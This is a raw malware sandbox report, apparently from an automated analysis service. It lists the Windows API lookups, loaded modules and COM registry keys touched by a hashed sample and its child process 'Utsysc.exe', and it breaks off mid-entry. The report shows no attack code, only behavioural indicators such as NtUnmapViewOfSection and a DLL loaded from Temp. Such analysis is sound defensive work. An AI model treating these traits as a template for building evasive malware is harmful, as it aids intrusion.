"GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter VirtualProtect (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter GetVersionExW (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter GetSystemMetrics (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter CreateCompatibleBitmap (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter SHGetFolderPathA (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter HttpOpenRequestA (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter GdiplusStartup (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter WTSSendMessageW (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter VirtualQuery (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter GetProcessAffinityMask (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter SetProcessAffinityMask (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter SetThreadAffinityMask (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter Sleep (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter ExitProcess (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter LoadLibraryA (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter GetModuleHandleA (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter HeapAlloc (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter HeapFree (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00001140) "Utsysc.exe" called "GetProcAddress" with a parameter GetNativeSystemInfo (UID: 00000000-00001140)2d:T29de,Found reference to API (Indicator: "RegCloseKey"; File: "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15") Found reference to API (Indicator: "CreateCompatibleBitmap"; File: "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15") Found reference to API (Indicator: "GetProcAddress"; File: "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15") Found reference to API (Indicator: "GetModuleHandleA"; File: "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15") Found reference to API (Indicator: "SHGetFolderPathA"; File: "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15") Found reference to API (Indicator: "GetSystemMetrics"; File: "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15") Found reference to API (Indicator: "HttpOpenRequestA"; File: "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15") Found reference to API (Indicator: "closesocket"; File: "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15") Found reference to API (Indicator: "WTSSendMessageW"; File: "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15") Found reference to API (Indicator: "InitializeCriticalSectionEx"; File: "00000000-00001140.00000002.135699.00401000.00000020.mdmp") Found reference to API (Indicator: "AreFileApisANSI"; File: "00000000-00001140.00000002.135699.00401000.00000020.mdmp") Found reference to API (Indicator: "FlsFree"; File: "00000000-00001140.00000002.135699.00401000.00000020.mdmp") Found reference to API (Indicator: "FlsSetValue"; File: "00000000-00001140.00000002.135699.00401000.00000020.mdmp") Found reference to API (Indicator: "FlsAlloc"; File: "00000000-00001140.00000002.135699.00401000.00000020.mdmp") Found reference to API (Indicator: "FlsGetValue"; File: "00000000-00001140.00000002.135699.00401000.00000020.mdmp") Found reference to API (Indicator: "LocaleNameToLCID"; File: "00000000-00001140.00000002.135699.00401000.00000020.mdmp") Found reference to API (Indicator: "LCMapStringEx"; File: "00000000-00001140.00000002.135699.00401000.00000020.mdmp") Found reference to API (Indicator: "CompareStringEx"; File: "00000000-00001140.00000002.135699.00401000.00000020.mdmp") Found reference to API (Indicator: "DecodePointer"; File: "00000000-00001140.00000002.135699.0046B000.00000020.mdmp") Found reference to API (Indicator: "EncodePointer"; File: "00000000-00001140.00000002.135699.0046B000.00000020.mdmp") Found reference to API (Indicator: "VirtualProtect"; File: "00000000-00001140.00000002.135699.00401000.00000020.mdmp") Found reference to API (Indicator: "GetProcessWindowStation"; File: "00000000-00001140.00000002.135699.0046B000.00000020.mdmp") Found reference to API (Indicator: "GetUserObjectInformationA"; File: "00000000-00001140.00000002.135699.0046B000.00000020.mdmp") Found reference to API (Indicator: "GetLastActivePopup"; File: "00000000-00001140.00000002.135699.0046B000.00000020.mdmp") Found reference to API (Indicator: "GetActiveWindow"; File: "00000000-00001140.00000002.135699.0046B000.00000020.mdmp") Found reference to API (Indicator: "MessageBoxA"; File: "00000000-00001140.00000002.135699.0046B000.00000020.mdmp") Found reference to API (Indicator: "VirtualProtect"; Source: "00000000-00001140.00000002.135699.00401000.00000020.mdmp") Found reference to API (Indicator: "FlsAlloc"; Source: "00000000-00001140.00000002.135699.00454000.00000002.mdmp, 00000000-00001140.00000002.135699.0046B000.00000020.mdmp") Found reference to API (Indicator: "FlsFree"; Source: "00000000-00001140.00000002.135699.00454000.00000002.mdmp, 00000000-00001140.00000002.135699.0046B000.00000020.mdmp") Found reference to API (Indicator: "FlsGetValue"; Source: "00000000-00001140.00000002.135699.00454000.00000002.mdmp, 00000000-00001140.00000002.135699.0046B000.00000020.mdmp") Found reference to API (Indicator: "FlsSetValue"; Source: "00000000-00001140.00000002.135699.00454000.00000002.mdmp, 00000000-00001140.00000002.135699.0046B000.00000020.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00001140.00000002.135699.00454000.00000002.mdmp") Found reference to API (Indicator: "InitOnceExecuteOnce"; Source: "00000000-00001140.00000002.135699.00454000.00000002.mdmp") Found reference to API (Indicator: "CreateEventExW"; Source: "00000000-00001140.00000002.135699.00454000.00000002.mdmp") Found reference to API (Indicator: "CreateSemaphoreW"; Source: "00000000-00001140.00000002.135699.00454000.00000002.mdmp") Found reference to API (Indicator: "CreateSemaphoreExW"; Source: "00000000-00001140.00000002.135699.00454000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolTimer"; Source: "00000000-00001140.00000002.135699.00454000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolTimer"; Source: "00000000-00001140.00000002.135699.00454000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolTimerCallbacks"; Source: "00000000-00001140.00000002.135699.00454000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolTimer"; Source: "00000000-00001140.00000002.135699.00454000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolWait"; Source: "00000000-00001140.00000002.135699.00454000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolWait"; Source: "00000000-00001140.00000002.135699.00454000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolWait"; Source: "00000000-00001140.00000002.135699.00454000.00000002.mdmp") Found reference to API (Indicator: "FlushProcessWriteBuffers"; Source: "00000000-00001140.00000002.135699.00454000.00000002.mdmp") Found reference to API (Indicator: "FreeLibraryWhenCallbackReturns"; Source: "00000000-00001140.00000002.135699.00454000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessorNumber"; Source: "00000000-00001140.00000002.135699.00454000.00000002.mdmp") Found reference to API (Indicator: "CreateSymbolicLinkW"; Source: "00000000-00001140.00000002.135699.00454000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount64"; Source: "00000000-00001140.00000002.135699.00454000.00000002.mdmp") Found reference to API (Indicator: "GetFileInformationByHandleEx"; Source: "00000000-00001140.00000002.135699.00454000.00000002.mdmp") Found reference to API (Indicator: "SetFileInformationByHandle"; Source: "00000000-00001140.00000002.135699.00454000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00001140.00000002.135699.00454000.00000002.mdmp") Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00001140.00000002.135699.00454000.00000002.mdmp") Found reference to API (Indicator: "WakeConditionVariable"; Source: "00000000-00001140.00000002.135699.00454000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00001140.00000002.135699.00454000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00001140.00000002.135699.00454000.00000002.mdmp") Found reference to API (Indicator: "InitializeSRWLock"; Source: "00000000-00001140.00000002.135699.00454000.00000002.mdmp") Found reference to API (Indicator: "AcquireSRWLockExclusive"; Source: "00000000-00001140.00000002.135699.00454000.00000002.mdmp") Found reference to API (Indicator: "TryAcquireSRWLockExclusive"; Source: "00000000-00001140.00000002.135699.00454000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSRWLockExclusive"; Source: "00000000-00001140.00000002.135699.00454000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableSRW"; Source: "00000000-00001140.00000002.135699.00454000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolWork"; Source: "00000000-00001140.00000002.135699.00454000.00000002.mdmp") Found reference to API (Indicator: "SubmitThreadpoolWork"; Source: "00000000-00001140.00000002.135699.00454000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolWork"; Source: "00000000-00001140.00000002.135699.00454000.00000002.mdmp") Found reference to API (Indicator: "CompareStringEx"; Source: "00000000-00001140.00000002.135699.00454000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoEx"; Source: "00000000-00001140.00000002.135699.00454000.00000002.mdmp") Found reference to API (Indicator: "LCMapStringEx"; Source: "00000000-00001140.00000002.135699.00454000.00000002.mdmp") Found reference to API (Indicator: "SetThreadGroupAffinity"; Source: "00000000-00001140.00000002.135699.00454000.00000002.mdmp") Found reference to API (Indicator: "GetThreadGroupAffinity"; Source: "00000000-00001140.00000002.135699.00454000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessorNumberEx"; Source: "00000000-00001140.00000002.135699.00454000.00000002.mdmp") Found reference to API (Indicator: "GetLogicalProcessorInformationEx"; Source: "00000000-00001140.00000002.135699.00454000.00000002.mdmp") Found reference to API (Indicator: "AreFileApisANSI"; Source: "00000000-00001140.00000002.135699.00454000.00000002.mdmp") Found reference to API (Indicator: "LocaleNameToLCID"; Source: "00000000-00001140.00000002.135699.00454000.00000002.mdmp") Found reference to API (Indicator: "NtUnmapViewOfSection"; Source: "00000000-00001140.00000002.135699.00454000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00001140.00000002.135699.0046B000.00000020.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00001140.00000002.135699.0046B000.00000020.mdmp") Found reference to API (Indicator: "GetProcessWindowStation"; Source: "00000000-00001140.00000002.135699.0046B000.00000020.mdmp") Found reference to API (Indicator: "GetUserObjectInformationA"; Source: "00000000-00001140.00000002.135699.0046B000.00000020.mdmp") Found reference to API (Indicator: "GetLastActivePopup"; Source: "00000000-00001140.00000002.135699.0046B000.00000020.mdmp") Found reference to API (Indicator: "GetActiveWindow"; Source: "00000000-00001140.00000002.135699.0046B000.00000020.mdmp") Found reference to API (Indicator: "MessageBoxA"; Source: "00000000-00001140.00000002.135699.0046B000.00000020.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00001140.00000002.135699.05730000.00000004.mdmp") Found reference to API (Indicator: "GetThreadUILanguage"; Source: "00000000-00001140.00000002.135699.05730000.00000004.mdmp") Found reference to API (Indicator: "LoadStringA"; Source: "00000000-00001140.00000002.135699.05730000.00000004.mdmp")2e:T1868,"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 760f0000 "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 760f0000 "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 760f0000 "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" loaded module "KERNEL32" at base 76950000 "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 738a0000 "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74120000 "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" loaded module "KERNEL32.DLL" at base 76950000 "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 74a00000 "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" loaded module "COMCTL32.DLL" at base 73490000 "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" loaded module "NTDLL.DLL" at base 77c50000 "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" loaded module "USER32.DLL" at base 77430000 "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" loaded module "%WINDIR%\SYSTEM32\DUSER.DLL" at base 73410000 "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" loaded module "%WINDIR%\WINSXS\X86_MICROSOFT.WINDOWS.GDIPLUS_6595B64144CCF1DF_1.1.16299.248_NONE_8E66FBC1026DF8AB\GDIPLUS.DLL" at base 743a0000 "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" loaded module "RPCRT4.DLL" at base 77360000 "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" loaded module "%WINDIR%\SYSWOW64\ONECOREUAPCOMMONPROXYSTUB.DLL" at base 73110000 "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" loaded module "OLEAUT32.DLL" at base 76050000 "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" loaded module "ATLTHUNK.DLL" at base 730a0000 "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" loaded module "%WINDIR%\SYSTEM32\MSCTF.DLL" at base 75e40000 "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 73bc0000 "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" loaded module "%WINDIR%\SYSWOW64\\WINDOWS.STATEREPOSITORYPS.DLL" at base 72fb0000 "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" loaded module "%WINDIR%\SYSWOW64\SHELL32.DLL" at base 74a00000 "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" loaded module "SHELL32.DLL" at base 74a00000 "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 76c20000 "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" loaded module "%WINDIR%\SYSTEM32\EXPLORERFRAME.DLL" at base 72b70000 "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL" at base 76950000 "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" loaded module "%WINDIR%\SYSWOW64\URLMON.DLL" at base 73f60000 "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" loaded module "MSISO.DLL" at base 72f50000 "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" loaded module "SSPICLI.DLL" at base 74670000 "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 760f0000 "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 745c0000 "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 771f0000 "Utsysc.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 760f0000 "Utsysc.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 760f0000 "Utsysc.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 760f0000 "Utsysc.exe" loaded module "KERNEL32" at base 76950000 "Utsysc.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 738a0000 "Utsysc.exe" loaded module "KERNEL32.DLL" at base 76950000 "Utsysc.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74120000 "Utsysc.exe" loaded module "RPCRT4.DLL" at base 77360000 "Utsysc.exe" loaded module "%WINDIR%\SYSWOW64\ONECOREUAPCOMMONPROXYSTUB.DLL" at base 73540000 "Utsysc.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 76c20000 "Utsysc.exe" loaded module "NTDLL.DLL" at base 77c50000 "Utsysc.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 73bc0000 "Utsysc.exe" loaded module "SHELL32.DLL" at base 74a00000 "Utsysc.exe" loaded module "%WINDIR%\SYSWOW64\\WINDOWS.STATEREPOSITORYPS.DLL" at base 73410000 "Utsysc.exe" loaded module "%WINDIR%\SYSWOW64\SHELL32.DLL" at base 74a00000 "Utsysc.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL" at base 76950000 "Utsysc.exe" loaded module "USER32.DLL" at base 77430000 "Utsysc.exe" loaded module "%WINDIR%\SYSWOW64\URLMON.DLL" at base 73f60000 "Utsysc.exe" loaded module "MSISO.DLL" at base 733b0000 "Utsysc.exe" loaded module "SSPICLI.DLL" at base 74670000 "Utsysc.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 760f0000 "Utsysc.exe" loaded module "%WINDIR%\WINSXS\X86_MICROSOFT.WINDOWS.GDIPLUS_6595B64144CCF1DF_1.1.16299.248_NONE_8E66FBC1026DF8AB\GDIPLUS.DLL" at base 743a0000 "Utsysc.exe" loaded module "WINDOWSCODECS.DLL" at base 71e40000 "Utsysc.exe" loaded module "ONDEMANDCONNROUTEHELPER.DLL" at base 73390000 "Utsysc.exe" loaded module "WINHTTP.DLL" at base 732e0000 "Utsysc.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 73390000 "Utsysc.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 73920000 "Utsysc.exe" loaded module "%WINDIR%\SYSTEM32\WS2_32" at base 772000002f:T17aa,"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" touched "Search Gatherer Notification" (Path: "HKCU\WOW6432NODE\CLSID\{9E175B6D-F52A-11D8-B9A5-505054503030}") "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" touched "Desktop Status Service" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{515980C3-57FE-4C1E-A561-730DD256AB98}") "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" touched "Task Bar Communication" (Path: "HKCU\WOW6432NODE\CLSID\{56FDF344-FD6D-11D0-958A-006097C9A090}\TREATAS") "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" touched "Computer" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\INPROCSERVER32") "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" touched "Private Profile Object" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{75847177-F077-4171-BD2C-A6BB2164FBD0}\INPROCSERVER32") "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\WOW6432NODE\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\TREATAS") "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" touched "Property System Both Class Factory" (Path: "HKCU\WOW6432NODE\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" touched "Sync root manager" (Path: "HKCU\WOW6432NODE\CLSID\{F324E4F9-8496-40B2-A1FF-9617C1C9AFFE}\TREATAS") "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\WOW6432NODE\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\TREATAS") "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" touched "UsersFiles" (Path: "HKCU\WOW6432NODE\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" touched "delegate folder that appears in Users Files Folder" (Path: "HKCU\WOW6432NODE\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\INSTANCE") "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" touched "Shell File System Folder" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" touched "Known Folder Manager" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{4DF0C730-DF9D-4AE3-9153-AA6B82E9795A}\INPROCSERVER32") "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" touched "ExecuteAssociation" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{1649D1CF-DEAF-4A68-ABE8-5C9F68572FD1}\INPROCSERVER32") "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" touched "Security Manager" (Path: "HKCU\WOW6432NODE\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" touched "ShellItemArray Shell Namespace helper" (Path: "HKCU\WOW6432NODE\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\TREATAS") "Utsysc.exe" touched "Network" (Path: "HKCU\WOW6432NODE\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") "Utsysc.exe" touched "Recycle Bin" (Path: "HKCU\WOW6432NODE\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER") "Utsysc.exe" touched "Control Panel" (Path: "HKCU\WOW6432NODE\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER") "Utsysc.exe" touched "UsersLibraries" (Path: "HKCU\WOW6432NODE\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER") "Utsysc.exe" touched "CLSID_SearchFolder" (Path: "HKCU\WOW6432NODE\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\SHELLFOLDER") "Utsysc.exe" touched "IE History and Feeds Shell Data Source for Windows Search" (Path: "HKCU\WOW6432NODE\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER") "Utsysc.exe" touched "Public Folder" (Path: "HKCU\WOW6432NODE\CLSID\{4336A54D-038B-4685-AB02-99BB52D3FB8B}\SHELLFOLDER") "Utsysc.exe" touched "Control Panel command object for Start menu and desktop" (Path: "HKCU\WOW6432NODE\CLSID\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}\SHELLFOLDER") "Utsysc.exe" touched "This Device" (Path: "HKCU\WOW6432NODE\CLSID\{5B934B42-522B-4C34-BBFE-37A3EF7B9C90}\SHELLFOLDER") "Utsysc.exe" touched "CLSID_AppInstanceFolder" (Path: "HKCU\WOW6432NODE\CLSID\{64693913-1C21-4F30-A98F-4E52906D3B56}\SHELLFOLDER") "Utsysc.exe" touched "@%systemroot%\system32\mssvp.dll,-110" (Path: "HKCU\WOW6432NODE\CLSID\{89D83576-6BD1-4C86-9454-BEB04E94C819}\SHELLFOLDER") "Utsysc.exe" touched "CLSID_SearchHome" (Path: "HKCU\WOW6432NODE\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER") "Utsysc.exe" touched "CLSID_StartMenuLauncherProviderFolder" (Path: 